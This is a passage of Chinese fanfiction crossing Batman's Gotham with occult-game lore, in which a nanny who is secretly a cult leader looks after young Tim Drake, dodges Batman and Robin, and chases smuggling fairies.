罗宾脑袋高速旋转五秒钟,意识到她或许是在讲今晚他们遇到的那群东西。
“……什么妖精?”
他开口,有些疑惑。
“我们开诚布公谈谈。”
阿黛尔起身,抱着胳膊,语调不复之前的俏皮轻快,反而有些森冷:
“你身上有妖精们留下的魔法痕迹,只是你们这群普通人看不见,这很明显。”
“它们在哪?”
再拖点时间。
罗宾皱着眉,决定吐露些不大重要的情报:
“今晚一起走私案,确实有很多不明魔法生物出现,我不知道那是不是你们口中的妖精。”
“它们跑了,我们没来得及阻止。”<
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p>说完这些,他听见另一个黑袍女士开口,语气里带着疑问:
“走私什么?”
罗宾没有回答,因为他感知到了熟悉的气息——
黑漆漆的大蝙蝠从天而降,沙包大的拳头没有丝毫怜悯之情,猛地就要砸向阿黛尔脸上!!!
阿黛尔反应极快地侧身闪避,手中塔罗牌猛光芒大盛,将周边的杂物牵引,而后狠狠往下一砸!!!
“砰——”
蝙蝠侠极速后退,躲开了这些杂物的袭击,刚要迈步继续追,却只见尘土之后,空无一人。
“她们跑了。”
罗宾跳到杂物堆成的小废墟之上,环顾一圈后,肯定道。
“不过好歹有一个好消息。”
轻快的罗宾鸟钻进了蝙蝠侠的披风里,又从披风里钻出来,嘴上不停歇地开口:
“至少我们知道了,今晚我们打的东西不是什么哥布林,也不是什么兽人。”
“妖精。”
蝙蝠侠低沉开口。
“对的,妖精。”
罗宾有些忧伤地蹲在蝙蝠侠的披风里,心想他的童话故事都被那些长得很抱歉的妖精毁了。
最起码短期内,当他们提起妖精时,他绝对不会想起什么湖中仙女了——
而是想起那些感觉不太聪明,也不干什么好事的走私妖精。
夜晚哥谭的风很凉,罗宾的心也很忧伤。他忽然想起来在他和黑袍人们交谈前,对方还在很悠闲地吃夜宵。
他这么想着,肚子也很应景地叫起来。
罗宾:……
蝙蝠侠:……
“吃夜宵吗?”
蝙蝠侠想了想,摸了摸小知更鸟的脑袋。
罗宾重重点了点头。
他也要吃汉堡,还要双层的!
……
“恭喜你逃脱了蝙蝠侠的追击,老实说,这很刺激。不过没关系,你精于逃跑这一道,并且在这方面,也可谓是登峰造极。”
“解锁成就:复仇,黑夜,蝙蝠侠。”
“你所做的一切,已经在这位大名鼎鼎的暗夜骑士那拥有了独立完整的一个表格。真是可喜可贺,可喜可贺。”
进度条上的绿色流光又往前窜了一点,我忽然意识到或许这玩意和我在蝙蝠那的被上心程度是相关的。
但是眼下,我还有更重要的事情……
现在我的桌面上整整齐齐摆着五张邪名,可谓是五蝠临门——虽然我更想问哥谭反派们这蝠气给他们他们要不要。
我头疼地揉了揉眉心,看向从刚才就一直很沉默的阿黛尔。
“妖精们会影响到你什么计划吗?”
原本对一切都不在意的阿黛尔闻言,咬牙切齿开口道:
“这边给我发布了个强制任务——追查妖精残党们的阴谋。”
“妖精残党们的阴谋:
你杀死了妖精王,他或许会很恨你也说不定?不过无所谓啦,他在死前还阴了你一笔,让你管束下的那些魔物再一次出逃。
在这里,它们似乎得到了另一批人的帮助。
而你,伟大的引导者,你必须解决妖精们的密谋,还哥谭一片纯天然无污染的平静。”
我:……
槽有点多,一时不知道从哪开口。
哥谭哪里纯天然无污染了?纯添加满污染才对吧!!!
以及……
我和阿黛尔站在不知道哪处的天台上,默契下望:
是两波人在火拼。
哪里平静了,我请问呢?
13. 一只蝙蝠
“其实我还蛮想问罗宾,那群人走私了什么的,但是显而易见,谨慎的蝙蝠们不会相信我。”
我有些忧伤地和阿黛尔坐在原地,总觉得那群妖精在走私什么,真的对我很重要。
这是蛾的直觉。
但是那群聪明的蝙蝠们从不相信别人说出的话,他们更喜欢自己查到的线索。
好烦恼。
而且我总觉得最近这起走私,和绑架案,还有刺客,有着密不可分的关系。看蝙蝠侠和罗宾这行程,估摸着最近哥谭的地下市场很不太平。
毕竟刺客能一次拿出那么多不凋花蜜,完全可以合理推测出,他在那之前,说不定也脱手了一批花蜜。
现在还有妖精们出现……
哥谭,好混乱。
我看着阿黛尔撤了静音咒,然后和对方挥手告别。这位伟大的占卜师被破系统弄得破口大骂,很不爽地开始夜探哥谭。
我没打算去。
我家还有小孩呢!!!
算了,我毕竟不是灯道路的。
比起智慧派,我一向靠直觉。
这句话的意思是,我没那么聪明。
*我的头脑好似玻璃,知识好似光。
我会在危险来临前,尽量做好一切防护措施……
或许我应该给提姆请位格斗大师?
不,这些还得等珍妮特和杰克同意。
说起这个……
我打开邮箱,看着那封邮件,沉思着:
珍妮特和杰克说他们在非洲一处偏远小国,一时赶不回来——他们打算等半个月后返回哥谭,恰好能带提姆去出席晚宴。
一场再普通不过的,上流人士之间互相交流,交换利益的晚宴。
而这些晚宴里,最为耀眼出众的,无疑是哥谭宝贝,花花公子布鲁斯·韦恩先生。
不出意外的话,这一场晚宴布鲁斯·韦恩也会参加。
那就没什么好担心的了。
邮件里除了提到晚宴,还有珍妮特为了表达自己不在提姆身边的歉意,特地寄了一样珍贵礼物回来。
算算时间,大概后天就能到达,让我记得签收。
我想了想最近的日程表:
刚好趁他们一家人都去晚宴,我去和阿黛尔搜寻妖精的线索。据阿黛尔所说,妖精们在逃入哥谭前,带了一件效果很神奇的宝物——至于效果神奇在哪里,阿黛尔表示不知道。
“毕竟这消息是魔物局管着的啦,我虽然吃过公家饭但又不是公家的。”
“不过我看妖精在干走私,还被蝙蝠侠痛扁的情况,说不定是那件宝物丢了,而它们没有办法,只能和哥谭本地人合作也说不定呢?”
阿黛尔开玩笑般道。
我赶忙伸手捂住阿黛尔的嘴!
有些玩笑不能开啊!!!
阿黛尔本来还想说些什么,但是看了看我的样子,无奈地耸了耸肩:
“well,那我们就不说这个了。”
她朝我眨了眨眼,
“那我先去上工了,亲爱的。”
“有情况随时联系——”
占卜师的话语被风吹散,她骑着乌鸦飞向高空,一下子消失在我的视线之中。而我在原地看了会,确保没有什么坠鸦惨案之后,这才踩着轻盈的脚步回了德雷克大宅。
大宅里的一切都很平静,包括那些被蝙蝠经过所以有点像无限繁殖的各种“小玩意”。
大半个晚上过去,大宅里的各处警戒没有被人触碰,而我了解提姆,他是个睡着之后就会睡得很沉的小孩。
我的意思是,除非是超人突然天降正义,砸到哥谭,发生大爆炸,否则他一般不会惊醒。
这代表着我有充足的时间收拾现场。
但出于某种警惕,我还是把身上的黑袍都收好,确保身上没有其他“外来物”之后,这才踩着楼梯,打算上楼去看看提姆有没有踢被子。
哥谭的黑夜似乎比别处也更深遂一些,一旦没有月亮,整个哥谭都会陷入一片粘稠的黑暗中。而今晚的天气显然有些阴沉,至少月亮被乌云拦着,没法叫哥谭人们看见它的模样。
于是大宅各处,朦朦胧胧的月光将一切切割开,照亮某处,熄灭某处。而空荡荡的德雷克大宅里,除了我自己刻意压出的足音外,其他什么都没有。
我没有打开手电筒。
遁入林地的长生者,在黑暗中视物的能力,一向值得夸耀。
在越过楼梯拐角时,月光猛然摇晃一瞬!
我看见了,在楼梯口,有一个小小的身影站在那。
他开口:
“普莉希拉,你刚刚去哪儿了?”
月光只映照了他半边稚嫩的脸庞,剩下一半被隐入阴影里,令人看不大清。一双漂亮的蓝眼睛在黑夜里,在月光下,偶尔会折射出一种近乎锐利的透彻,失去了白日里的温和,无端显得有些冰冷。
我顿了顿,却不是害怕,而是冲上前,赶忙把他抱了起来。
“我假设您没有想再去医院一趟的打算?哪怕您想出演福尔摩斯先生,或许也该注意点您的身体?”
我盯着他不穿鞋的脚,眼神里带了点隐隐的不赞同。
怀里的小孩一下子愣住了,强装出来的冷酷瞬间消散,他往我怀里缩了缩,还在嘟囔道:
“你还没有告诉我你去了哪里!”
“我醒来之后,找了你很久,但是哪里都没有!”
他用一种控诉的眼神看着我。
——这是我的错。
我从善如流地道歉:
“对不起,这是我的问题。”
提姆的眼睛瞪大,显得很圆润,他抱着胳膊,像是想原谅,又像是还在生气:
“我很害怕。”
他强调道。
我抱紧了他。
“是的,我为此感到抱歉。但是现在,您不需要害怕了。”
“我回来了,我在这儿。”
提姆的眼神闪了闪,却最终没有说些什么,只是郁闷道:
“你是去花园里了吗?”
德雷克庄园的占地面积也不小,做了噩梦醒来没找到人的小孩慌慌张张,在空无一人的大宅里紧张无比,最后在楼上犹犹豫豫,刚下定决心,准备出门找人。
也就是在此刻,他听到了普莉希拉的脚步声。
几乎是一瞬间,他提心吊胆了好一会儿的心瞬间安安稳稳回到了它该在的位置。
随之涌上来的,是巨大的委屈。
他保证他从前
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从不这样,他习惯了一个人,习惯了自己照顾自己。但是,在普莉希拉面前,他总是忍不住……显得有些孩子气。
反正普莉希拉不会讨厌他的,对不对?
他这么想着,抛出一个台阶。
出乎他意料的是,普莉希拉开口了:
“不,我并不在花园里。”
黑发灰眸的女人抱着他回到了卧室,一边让提姆捂好眼睛,一边打开了卧室的小夜灯,将提姆放回了被子里,仔细掖好了他的被角。
“我找人调查了那天害您被绑架的暴徒,今晚侦探在向我汇报情报。”
提姆一下子睁大了眼睛。
——这是他这个小孩子能知道的吗?
我看出了他在想什么,这个年纪的小孩,总是好懂的。
于是我摸了摸他的脑袋,温声道:
“您聪明,有自己的主见,我认为您应当有情报知悉权。”
提姆的眼中闪过一丝我不懂的情绪,他把脸往被子里又埋了埋,一双眼睛闪闪亮地看着我。
鉴于蝙蝠们的监听器都被我用阿黛尔的魔法道具隔绝开,营造出一副正常运作,没有任何问题的假象。
因此,我放心大胆地继续和提姆往下说:
“侦探告诉我,背后有一个外地人在搅弄风云,甚至还涉及到更深的地下世界,以及最近哥谭不太平,似乎有什么奇奇怪怪的生物掉了进来——调查到这里,侦探就不愿再往下查了。”
“我今晚就是去忙这件事。”
我不想对提姆撒谎,因此我捡了些能说的情报,一股脑塞给了提姆,也希望他最近出门小心些,不要招惹上阿黛尔口中那些不大聪明的妖精们。
提姆愣愣地看着我,好半天,他闷闷开口:
“普莉斯为什么……要去查这些?”
他像是不大理解。
我看着他,语气越发轻柔:
“因为我在愤怒。”
“我没能保护好您,因此,我希望能够弥补些什么。”
……我对那天,让提姆独自一人感到抱歉。
明明那么多刊物,那么多世界里,他其实都是一个很害怕孤独的孩子。
过分聪明的小鸟,在找寻自己定位和落点的小鸟,重视家庭的小鸟……
我希望你能幸福,你能不孤独,你能永远快乐。
“可是那很危险。”
提姆直起身,年幼的孩子不知道该说些什么才好,最后只好用肢体语言代替在此刻显得苍白无比的话语——
他扑进了她的怀里,闷闷开口:
“……我不希望你出事,普莉斯。”
“please。”
他这么说。
我轻轻拍了拍他的背,妈妈哄孩子一般。
“我不会有事的。”
“虽然我们相识没有多久,但是,亲爱的提姆少爷……我已经把您看成了我的家人。”
我会努力证明,我确实能够成为您的家人,陪在你身边。
提姆揪紧了我的衣服,把脑袋埋着,轻声道:
“你已经是了,普莉斯。”
他或许不会再孤独了。
不用再一个人守着空荡的宅子,感知着时光抛下他的影子。
14.一份礼物
为了安抚提姆,我整晚都守在他身边。
其实我在想,提姆做噩梦,会不会和最近漫宿的动荡有关。
自从掉到哥谭之后,我很少再去关注漫宿的事情,也不知道最近司辰们打成什么样了——很想说祂们能不能不要再打了,要打去练舞室打。
再打下去,恐怕我要滞留凡间几百年。
不过那样也很好,说不定我能陪提姆很久很久。
凡人的一生如蜉蝣,朝暮几十年,我有足够的时间陪伴他。
看着小孩恬静的睡颜,我又悄悄拍了几张,准备待会儿收进自己的厚相簿里。
左右最近不适合出门行动了,我得先想想先把邪名消掉……否则真的要进去了。
嗯哼,我坐在床边,忽然有了主意。
毕竟……
*“有很多人担心自己的声名,很少有人担心自己的良心。”
……
提姆很好奇地左看看右看看。
这儿是哥谭一处正规的交易市场,比东区那的各种交易市场安定不少。
至少没人会当面明抢。
我无声无息地露出腰间的配枪,脸上依旧是温和的表情。
至于我们为什么来这……
因为德雷克大宅的花园里需要鲜花种子,我又觉得提姆会喜欢自己亲手种下一朵花的感觉。
因此,我在早上询问了提姆的意见,得到同意后,带着他驱车直抵这里。
一路上,小孩儿都显得很兴奋,在路过商店时,看到他的眼神,我选择下车给他买了个冰淇淋。
偶尔吃一下没什么大事,孩子都那么渴望了!!!
而提姆握着那个草莓口味的漂亮冰淇淋,愣了一会儿,才有些迟疑道:
“这是给我的吗,普莉斯?”
我被他问得有些疑惑了,忍不住反问道:
“提姆少爷,我想或许我只有您这一个孩子?”
意思就是,这冰淇淋除了买给你,还能买给谁?
不知道是哪个字戳中了提姆,他显得很高兴,小短腿晃晃,开心地吃着冰淇淋。
而我一边开着车,一边道:
“老爷和夫人将在半个月后回来,他们要带您去晚宴。”
“哦,好。”
小孩抬起眼,眨了眨,比起那无聊的,千篇一律的晚宴,他显然更在意其他的事情。例如珍妮特和杰克要回来了。
“他们有说什么吗?”
他的眼睛亮亮的。
“珍妮特夫人为她不能及时赶回您身边而抱歉,所以她寄了礼物给您,明天就会到。好像是从考古现场挖出来的什么珍贵物件,希望您能喜欢。”
“嗯……好……”
显然提姆想要的不是这个,但他很快调整好了自己的情绪,开心道:
“我很期待!”
我“嗯”了声,笑道:
“过不了多久,他们就回来了。”
提姆用力点了点头。
等到了交易市场,鲜少来此的提姆显得好奇无比,因此他总是到处看看。我一边牵着他,一边看着一堆鲜花种子,有些犯难。
“您喜欢哪种花呢?”
鉴于珍妮特和杰克应该不会在庄园久留,我决定询问提姆的意见:
“那种花,可以吗?”
提姆指了指不远处,色泽鲜艳,形似鸟儿的花,仰起头,像是在征询我的肯定。
我蹲下身,温和道:
“当然没问题。”
“鹤望兰养护得当的话,全年都可以开零星的花,您或许可以常常欣赏到它了。”
这么说着,我买下了一点鹤望兰的种子,再和提姆一起挑了点其他种类的花,以保证一年四季花园都能开满鲜花。
到处挑挑买买的我们满载而归,我牵着提姆往外走,在路过广场时,提姆忽然顿住了脚步。
我有些疑惑。
他指了指不远处笑容真诚,容貌十分吸引人的男人,有些迟疑地开口:
“他们好像在举办什么活动?”
其实他更想说这一群人怎么跟在办什么仪式一样。
但是在哥谭,一般来说,不要主动掺和进这种局势里比较好。
我本来也是这么想的,知道我顺着提姆的动作,看到了那个男人。
我:……
他怎么在这儿???
还没等我思考出个结果,那个原本侃侃而谈,话语亲昵而鼓舞鼓动人的男人和我对上了视线。
要糟。
我淡淡在心里想。
果不其然,原本就很鼓动人心的男人说的话越发令人慷慨激昂,周围的人群越来越多向他涌去,就好像被激昂的旋律感染了一般,每个人的心脏都在此刻被感召,极速跳动着——如同永不止息的舞蹈。
我带着提姆尽量往人少的地方走去。
此地不宜久留。
五分钟后。
提姆虽然被普莉希拉挡在身后,但挡不住他一直在往外探的脑袋。
他猛探头,无声凝视着刚刚那个在激情演讲的男人。
“您……您也在这儿……”
刚刚还巧舌如簧的男人低着脑袋,像是害羞,不太敢直视普莉希拉似的。
提姆心里警铃大作。
更令他警惕的是,普莉希拉似乎和对方很熟,她甚至用了平时对他说话时才会低下去的温柔声音问候了对方:
“我也没想到会这儿遇见你,里奥。”
上帝啊普莉希拉简直跟哄孩子一样。
提姆严肃地想。
“当然……我也很久没见您了。”
这位外貌算是英俊甜蜜的男人眨着一双褐色眼眸,语气总带着几分犹豫迟疑。
刚刚不是挺能说的吗?怎么现在说话吞吞吐吐的。
提姆撇了撇嘴。
可在听到对方话语的下一秒,提姆猛地睁大了眼睛。
“您明晚是否有时间……与我前往蜕衣俱乐部……”
???
这个俱乐部名字一听就不正经吧!!!
提姆瞪着圆溜溜的眼睛,眼眸的颜色像是天空,却又更深一点,在夜晚的时候,某些时刻,它会像电子荧幕上的荧荧蓝光,带来几分幽幽之感。
他不可置信地看着对方,又抬头看看普莉希拉。
“喔,真是抱歉,恐怕我最近没有什么空。”
普莉希拉甜蜜地眨了眨眼,伸出手,安抚般拍了拍里奥先生的肩膀。
“我听说你最近事业发展的不错……我很期待你的成果。”
好好干活,不要搞办公室恋爱。
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我的那五张邪名还靠你消掉呢。
这是我的言下之意。
但我也知道,驱使驴干活也得先拿根胡萝卜,于是我拍了拍里奥的肩膀。
这么一下,应该足够他在这个月的“最受教主宠爱之人”榜单里的排名里排到前几名。
里奥的眼瞳湿漉漉的,像是被主人抛弃的小狗,但很快,在被拍了那一下之后,他又立刻振作起来,显出一种令提姆心惊的亢奋来。
他摸了摸被普莉希拉碰过的肩膀,郑重应了声好,然后飘飘然离开了。
提姆疑惑地看着那个左脚绊右脚离开的男人,再看了看依旧温柔微笑着的普莉希拉,小小声问了句:
“普莉斯,他是什么人?”
普莉希拉思索了下,才给了他一个答案:
“嗯……追求者?”
他知道普莉希拉没有骗他,但他总觉得这个男人没有那么简单。
不可能只是普通的追求者。
以对方那口若悬河,滔滔不绝的演讲能力来看。
他刚刚分明注意到了,那些围观群众脸上的激动和亢奋。
那么的蛊惑人心,那么的引人堕落。
普莉希拉看着他,蹲下身,轻轻摸了摸他的脑袋。
提姆听见了普莉希拉轻盈的,像是在歌唱一样的声音:
“提姆少爷,他只是个不重要的小插曲,不是吗?”
“我并没有关于婚姻的打算。”
……按照我的经验来讲,一旦谈了一个之后,你就再也端不平水了,到时候整个内部的团结凝聚都会如同奶油一般化开。
我不允许任何人对我的密教事业造成动摇,哪怕这个人是我自己也不行。
所以我兢兢业业端了十几年的水,而根据信徒们的反应来看,他们或许也很喜欢这个也说不定。
爱一个人不用藏,爱很多个人就要藏好了。我忧伤地看着天空,在心里感叹了句:
唉,我一定不是唯一一个拥有这么多翅膀的教主。
提姆点了点头,没有再对这个话题表达什么看法。
这一话题就这么揭过去了。
或许吧。
……
等我们回到德雷克大宅,再把那些花的种子都种下,时间已经很晚。
我坐在提姆床边,给他讲了睡前故事,确保他睡着之后。这才起身离去,顺便帮他把灯都关上。
今晚我决定不再出门。
事实上,我已经想开了。
与其每天都被新○京蝙蝠在线发邪名,倒不如选择躺平,不理会外界纷扰,老老实实经营自己的温馨生活。
说到底,什么妖精,什么反派,离我的生活还是挺远的。
我这么想着,没忘记第二天要去签收珍妮特寄回来的礼物。
可当我把礼物拿到手,和提姆一起拆开它的时候,我忍不住沉默了:
「飞跃失控河」
“一颗看似平平无奇的蓝宝石,将它赠送出去的人或许只是觉得这颗宝石很衬他们的孩子,无论是领结装饰还是做成袖口,显然都是不错的选择。”
“前提是,它不是一颗充满魔力的宝石。”
“魔法会招致什么?此刻的你还不知道,毕竟它和你不是一个世界观的,难免有点代沟。”